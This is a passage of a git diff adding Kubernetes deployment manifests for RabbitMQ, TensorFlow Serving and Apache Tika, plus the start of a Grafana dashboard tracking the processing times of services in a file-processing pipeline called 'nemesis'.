+++ b/kubernetes/rabbitmq/ingress.yaml
@@ -0,0 +1,23 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: rabbitmqadmin-ingress
+ annotations:
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/configuration-snippet: |
+ proxy_set_header Authorization $http_authorization;
+spec:
+ ingressClassName: nginx
+ rules:
+ - http:
+ paths:
+ - path: /rabbitmq/
+ pathType: Prefix
+ backend:
+ service:
+ name: nemesis-rabbitmq-svc
+ port:
+ number: 15672
\ No newline at end of file
diff --git a/kubernetes/rabbitmq/rbac.yaml b/kubernetes/rabbitmq/rbac.yaml
new file mode 100644
index 0000000..43c81f8
--- /dev/null
+++ b/kubernetes/rabbitmq/rbac.yaml
@@ -0,0 +1,40 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+ labels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ name: nemesis-rabbitmq-sa
+ namespace: default
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+ labels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ name: nemesis-rabbitmq-endpoint-reader
+ namespace: default
+rules:
+- apiGroups:
+ - ""
+ resources:
+ - endpoints
+ verbs:
+ - get
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+ labels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ name: nemesis-rabbitmq-endpoint-reader
+ namespace: default
+roleRef:
+ kind: Role
+ name: nemesis-rabbitmq-endpoint-reader
+ apiGroup: rbac.authorization.k8s.io
+subjects:
+- kind: ServiceAccount
+ name: nemesis-rabbitmq-sa
\ No newline at end of file
diff --git a/kubernetes/rabbitmq/service-discovery.yaml b/kubernetes/rabbitmq/service-discovery.yaml
new file mode 100644
index 0000000..503ab9a
--- /dev/null
+++ b/kubernetes/rabbitmq/service-discovery.yaml
@@ -0,0 +1,27 @@
+# This headless service allows communication between RabbitMQ nodes via hostname instead of IP addresses.
+# The clusterIP is set to None.
+# See: https://kubernetes.io/docs/concepts/services-networking/service/#headless-services
+apiVersion: v1
+kind: Service
+metadata:
+ name: nemesis-rabbitmq-discovery
+ labels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+spec:
+ ports:
+ - name: amqp
+ port: 5672
+ - name: amqp-ssl
+ port: 5671
+ - name: clustering
+ port: 25672
+ - name: prometheus
+ port: 15692
+ - name: http
+ port: 15672
+ selector:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ type: ClusterIP
+ clusterIP: None
diff --git a/kubernetes/rabbitmq/service.yaml b/kubernetes/rabbitmq/service.yaml
new file mode 100644
index 0000000..f0f176c
--- /dev/null
+++ b/kubernetes/rabbitmq/service.yaml
@@ -0,0 +1,25 @@
+# This services is used to connect to the RabbitMQ using Port Forwarding
+# or expose an external IP and run RabbitMQ cluster behind a LoadBalancer.
+apiVersion: v1
+kind: Service
+metadata:
+ name: nemesis-rabbitmq-svc
+ labels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+spec:
+ ports:
+ - name: amqp
+ port: 5672
+ - name: amqp-ssl
+ port: 5671
+ - name: clustering
+ port: 25672
+ - name: prometheus
+ port: 15692
+ - name: http
+ port: 15672
+ selector:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ type: ClusterIP
diff --git a/kubernetes/rabbitmq/statefulset.yaml b/kubernetes/rabbitmq/statefulset.yaml
new file mode 100644
index 0000000..7ee3c1c
--- /dev/null
+++ b/kubernetes/rabbitmq/statefulset.yaml
@@ -0,0 +1,206 @@
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+ labels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ name: nemesis-rabbitmq
+ namespace: default
+spec:
+ podManagementPolicy: OrderedReady
+ replicas: 1
+ selector:
+ matchLabels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ serviceName: nemesis-rabbitmq-discovery
+ updateStrategy:
+ type: RollingUpdate
+ template:
+ metadata:
+ labels:
+ app.kubernetes.io/name: nemesis
+ app.kubernetes.io/component: rabbitmq-server
+ spec:
+ containers:
+ - env:
+ - name: JAVA_OPTS
+ value: -Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disable.jmx=true
+ - name: MY_POD_NAME
+ valueFrom:
+ fieldRef:
+ apiVersion: v1
+ fieldPath: metadata.name
+ - name: RABBITMQ_USE_LONGNAME
+ value: "true"
+ - name: RABBITMQ_NODENAME
+ value: rabbit@$(MY_POD_NAME).nemesis-rabbitmq-discovery.default.svc.cluster.local
+ - name: K8S_SERVICE_NAME
+ value: nemesis-rabbitmq-discovery
+ - name: K8S_HOSTNAME_SUFFIX
+ value: .nemesis-rabbitmq-discovery.default.svc.cluster.local
+ - name: RABBITMQ_DEFAULT_USER
+ valueFrom:
+ secretKeyRef:
+ key: rabbitmq-admin-user
+ name: rabbitmq-creds
+ - name: RABBITMQ_DEFAULT_PASS
+ valueFrom:
+ secretKeyRef:
+ key: rabbitmq-admin-password
+ name: rabbitmq-creds
+ image: rabbitmq:3.11.7
+ imagePullPolicy: Always
+ lifecycle:
+ postStart:
+ exec:
+ command:
+ - /bin/bash
+ - -c
+ - |
+ # Wait for the RabbitMQ to be ready.
+ until rabbitmqctl node_health_check; do
+ sleep 5
+ done
+
+ # By default, RabbitMQ does not have Highly Available policies enabled,
+ # using the following command to enable it.
+ rabbitmqctl set_policy ha-all "." '{"ha-mode":"all", "ha-sync-mode":"automatic"}' --apply-to all --priority 0
+ name: rabbitmq
+ ports:
+ - containerPort: 25672
+ name: clustering
+ protocol: TCP
+ - containerPort: 5672
+ name: amqp
+ protocol: TCP
+ - containerPort: 5671
+ name: amqp-ssl
+ protocol: TCP
+ - containerPort: 15692
+ name: prometheus
+ protocol: TCP
+ - containerPort: 15672
+ name: http
+ protocol: TCP
+ resources:
+ requests:
+ cpu: 100m
+ memory: 100Mi
+ volumeMounts:
+ - mountPath: /etc/rabbitmq
+ name: config
+ - mountPath: /var/lib/rabbitmq
+ name: nemesis-rabbitmq-data
+ livenessProbe:
+ exec:
+ command:
+ - rabbitmqctl
+ - status
+ initialDelaySeconds: 60
+ timeoutSeconds: 30
+ periodSeconds: 60
+ readinessProbe:
+ exec:
+ command:
+ - rabbitmqctl
+ - status
+ initialDelaySeconds: 5
+ timeoutSeconds: 10
+ periodSeconds: 5
+ initContainers:
+ - command:
+ - /bin/bash
+ - -euc
+ - |
+ # Remove cached erlang cookie since we are always providing it,
+ # that opens the way to recreate the application and access to existing data
+ # as a new erlang will be regenerated again.
+ echo ${RABBITMQ_ERLANG_COOKIE} > /var/lib/rabbitmq/.erlang.cookie
+ chmod 600 /var/lib/rabbitmq/.erlang.cookie
+
+ # Copy the mounted configuration to both places.
+ cp /rabbitmqconfig/rabbitmq.conf /etc/rabbitmq/rabbitmq.conf
+ # Change permission to allow to add more configurations via variables
+ chown :999 /etc/rabbitmq/rabbitmq.conf
+ chmod 660 /etc/rabbitmq/rabbitmq.conf
+ cp /rabbitmqconfig/enabled_plugins /etc/rabbitmq/enabled_plugins
+ env:
+ - name: RABBITMQ_ERLANG_COOKIE
+ valueFrom:
+ secretKeyRef:
+ key: rabbitmq-erlang-cookie
+ name: rabbitmq-creds
+ image: debian:11
+ imagePullPolicy: Always
+ name: copy-rabbitmq-config
+ resources: {}
+ terminationMessagePath: /dev/termination-log
+ terminationMessagePolicy: File
+ volumeMounts:
+ - mountPath: /rabbitmqconfig
+ name: configmap
+ - mountPath: /etc/rabbitmq
+ name: config
+ - mountPath: /var/lib/rabbitmq
+ name: nemesis-rabbitmq-data
+ restartPolicy: Always
+ schedulerName: default-scheduler
+ securityContext: {}
+ serviceAccountName: nemesis-rabbitmq-sa
+ terminationGracePeriodSeconds: 180
+ volumes:
+ - configMap:
+ defaultMode: 420
+ items:
+ - key: rabbitmq.conf
+ path: rabbitmq.conf
+ - key: enabled_plugins
+ path: enabled_plugins
+ name: nemesis-rabbitmq-config
+ name: configmap
+ - emptyDir: {}
+ name: config
+
+ # Data persistence option #1 - No persistence
+ - name: nemesis-rabbitmq-data # to have the data wiped on each reboot (for dev)
+ emptyDir: {}
+ # Data persistence option #2 - Node volume. Remove the emptydir volume and uncomment everything below (including the PersistentVolume/PersistentVolumeClaim)
+ # - name: nemesis-rabbitmq-data
+ # persistentVolumeClaim:
+ # claimName: nemesis-rabbitmq-pvc
+
+
+# ---
+# Uncomment if you want RabbitMQ persistence
+# apiVersion: v1
+# kind: PersistentVolume
+# metadata:
+# name: rabbitmq-data-pv
+# labels:
+# type: local
+# app: rabbitmq
+# spec:
+# storageClassName: manual
+# capacity:
+# storage: 20Gi
+# accessModes:
+# - ReadWriteOnce
+# persistentVolumeReclaimPolicy: Retain
+# hostPath:
+# path: "/mnt/data/rabbitmq/"
+# ---
+# kind: PersistentVolumeClaim
+# apiVersion: v1
+# metadata:
+# name: nemesis-rabbitmq-pvc
+# labels:
+# app: rabbitmq
+# spec:
+# storageClassName: manual
+# accessModes:
+# - ReadWriteOnce
+# resources:
+# requests:
+# storage: 20Gi
+# volumeName: rabbitmq-data-pv
\ No newline at end of file
diff --git a/kubernetes/tensorflow-serving/deployment.yaml b/kubernetes/tensorflow-serving/deployment.yaml
new file mode 100644
index 0000000..b4848cd
--- /dev/null
+++ b/kubernetes/tensorflow-serving/deployment.yaml
@@ -0,0 +1,37 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: tensorflow-serving
+ labels:
+ app: tensorflow-serving
+ component: enrichment-pipeline
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: tensorflow-serving
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: tensorflow-serving
+ spec:
+ containers:
+ - env:
+ - name: model_config_file
+ value: /app/cmd/tensorflow-serving/models/models.config
+ image: tensorflow-serving
+ name: tensorflow-serving
+ ports:
+ - containerPort: 8501
+ name: tensorflow-http
+ resources: {}
+ readinessProbe:
+ tcpSocket:
+ port: 8501
+ initialDelaySeconds: 5
+ periodSeconds: 5
+ timeoutSeconds: 5
+ failureThreshold: 10
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/tensorflow-serving/service.yaml b/kubernetes/tensorflow-serving/service.yaml
new file mode 100644
index 0000000..75d4653
--- /dev/null
+++ b/kubernetes/tensorflow-serving/service.yaml
@@ -0,0 +1,18 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: tensorflow-serving
+ labels:
+ app: tensorflow-serving
+ component: enrichment-pipeline
+spec:
+ type: NodePort
+ ports:
+ - name: "8501"
+ port: 8501
+ targetPort: 8501
+ nodePort: 31501
+ selector:
+ app: tensorflow-serving
+status:
+ loadBalancer: {}
diff --git a/kubernetes/tika/configmap.yaml b/kubernetes/tika/configmap.yaml
new file mode 100644
index 0000000..5475615
--- /dev/null
+++ b/kubernetes/tika/configmap.yaml
@@ -0,0 +1,15 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: tika-config
+data:
+ tika-config.xml: |
+
+
+
+
+ 10
+ 10
+
+
+
\ No newline at end of file
diff --git a/kubernetes/tika/deployment.yaml b/kubernetes/tika/deployment.yaml
new file mode 100644
index 0000000..be25c62
--- /dev/null
+++ b/kubernetes/tika/deployment.yaml
@@ -0,0 +1,52 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: tika
+ labels:
+ app: tika
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: tika
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: tika
+ spec:
+ volumes:
+ - name: tika-config
+ configMap:
+ name: tika-config
+ containers:
+ - env: []
+ image: apache/tika:2.8.0.0-full
+ name: tika
+ # command: [ "/bin/sh", "-c", "exec java -cp \"/tika-server-standard-2.8.0.jar:/tika-extras/*\" org.apache.tika.server.core.TikaServerCli -h 0.0.0.0 -c /tika-config.xml"]
+ # volumeMounts:
+ # - mountPath: /tika-config.xml
+ # subPath: tika-config.xml
+ # name: tika-config
+ ports:
+ - containerPort: 9998
+ name: http
+ resources: {}
+ # resources:
+ # requests:
+ # memory: "256Mi"
+ # cpu: "200m"
+ # limits:
+ # memory: "1Gi"
+ # cpu: "500m"
+ readinessProbe:
+ httpGet:
+ path: /
+ port: http
+ initialDelaySeconds: 5
+ periodSeconds: 5
+ timeoutSeconds: 5
+ failureThreshold: 10
+
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/tika/service.yaml b/kubernetes/tika/service.yaml
new file mode 100644
index 0000000..631be4f
--- /dev/null
+++ b/kubernetes/tika/service.yaml
@@ -0,0 +1,17 @@
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: tika
+ name: tika
+spec:
+ type: NodePort
+ ports:
+ - name: "9998"
+ port: 9998
+ targetPort: 9998
+ nodePort: 31998
+ selector:
+ app: tika
+status:
+ loadBalancer: {}
diff --git a/monitoring/grafana-dashboards.yaml b/monitoring/grafana-dashboards.yaml
new file mode 100644
index 0000000..915b253
--- /dev/null
+++ b/monitoring/grafana-dashboards.yaml
@@ -0,0 +1,10548 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: grafana-dashboards-def
+ namespace: monitoring
+data:
+ nemesis_services.json: |-
+ {
+ "annotations": {
+ "list": [
+ {
+ "builtIn": 1,
+ "datasource": {
+ "type": "grafana",
+ "uid": "-- Grafana --"
+ },
+ "enable": true,
+ "hide": true,
+ "iconColor": "rgba(0, 211, 255, 1)",
+ "name": "Annotations & Alerts",
+ "target": {
+ "limit": 100,
+ "matchAny": false,
+ "tags": [],
+ "type": "dashboard"
+ },
+ "type": "dashboard"
+ }
+ ]
+ },
+ "editable": true,
+ "fiscalYearStartMonth": 0,
+ "graphTooltip": 0,
+ "id": 3,
+ "links": [],
+ "liveNow": false,
+ "panels": [
+ {
+ "collapsed": false,
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 0
+ },
+ "id": 2,
+ "panels": [],
+ "title": "file-processor",
+ "type": "row"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "sec/min"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 0,
+ "y": 1
+ },
+ "id": 4,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "exemplar": false,
+ "expr": "sum(rate(process_cpu_seconds_total{instance=\"file-processor.default.svc.cluster.local:8000\", job=\"nemesis-services\"}[1m]))",
+ "instant": false,
+ "interval": "10s",
+ "legendFormat": "sec/min",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "CPU Seconds/Min",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "decbytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 11,
+ "y": 1
+ },
+ "id": 6,
+ "options": {
+ "orientation": "auto",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "avg_over_time(process_virtual_memory_bytes{instance=\"file-processor.default.svc.cluster.local:8000\"}[1m])",
+ "legendFormat": "__auto",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "Virtual Memory",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 0,
+ "y": 8
+ },
+ "id": 23,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(process_file_sum[15m]) / rate(process_file_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "process_file",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 11,
+ "y": 8
+ },
+ "id": 24,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(process_file_plaintext_sum[15m]) / rate(process_file_plaintext_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "process_file_plaintext",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 0,
+ "y": 14
+ },
+ "id": 25,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(process_dotnet_sum[15m]) / rate(process_dotnet_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "process_dotnet",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 11,
+ "y": 14
+ },
+ "id": 26,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(extract_text_sum[15m]) / rate(extract_text_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "extract_text",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 0,
+ "y": 20
+ },
+ "id": 27,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(convert_to_pdf_sum[15m]) / rate(convert_to_pdf_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "convert_to_pdf",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 11,
+ "y": 20
+ },
+ "id": 28,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(extract_passwords_sum[15m]) / rate(extract_passwords_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "extract_passwords",
+ "type": "timeseries"
+ },
+ {
+ "collapsed": true,
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 26
+ },
+ "id": 30,
+ "panels": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "sec/min"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 0,
+ "y": 19
+ },
+ "id": 31,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "exemplar": false,
+ "expr": "sum(rate(process_cpu_seconds_total{instance=\"dotnet.default.svc.cluster.local:9801\", job=\"nemesis-services\"}[1m]))",
+ "instant": false,
+ "interval": "10s",
+ "legendFormat": "sec/min",
+ "range": true,
